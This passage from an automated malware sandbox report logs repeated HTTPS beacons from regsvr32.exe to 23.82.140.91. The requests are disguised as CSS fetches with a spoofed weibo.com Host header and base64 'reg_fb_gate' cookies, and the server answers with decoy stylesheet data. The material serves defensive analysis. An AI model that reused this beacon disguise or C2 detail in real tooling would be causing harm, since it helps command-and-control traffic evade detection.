2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.6 49781 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:28 UTC 1057 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:28 UTC 1059 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:28 UTC 1060 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

180 192.168.2.6 50031 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:47 UTC 1465 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:47 UTC 1466 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:47 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:47 UTC 1466 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

181 192.168.2.6 50032 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:47 UTC 1467 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:48 UTC 1468 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:48 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 107 of 191



2022-02-08 23:10:48 UTC 1468 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

182 192.168.2.6 50033 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:50 UTC 1470 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:50 UTC 1471 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:50 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:50 UTC 1471 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

183 192.168.2.6 50034 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:50 UTC 1471 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:50 UTC 1473 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:50 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:50 UTC 1473 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

184 192.168.2.6 50035 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:52 UTC 1475 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:52 UTC 1476 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:52 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:52 UTC 1476 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

185 192.168.2.6 50036 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:52 UTC 1476 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:53 UTC 1478 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:52 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:53 UTC 1478 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

186 192.168.2.6 50037 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:55 UTC 1480 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:55 UTC 1481 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:55 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:55 UTC 1481 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

187 192.168.2.6 50038 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:56 UTC 1482 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:56 UTC 1483 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:56 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 110 of 191



2022-02-08 23:10:56 UTC 1483 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

188 192.168.2.6 50039 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:56 UTC 1485 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:57 UTC 1486 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:57 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:57 UTC 1486 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
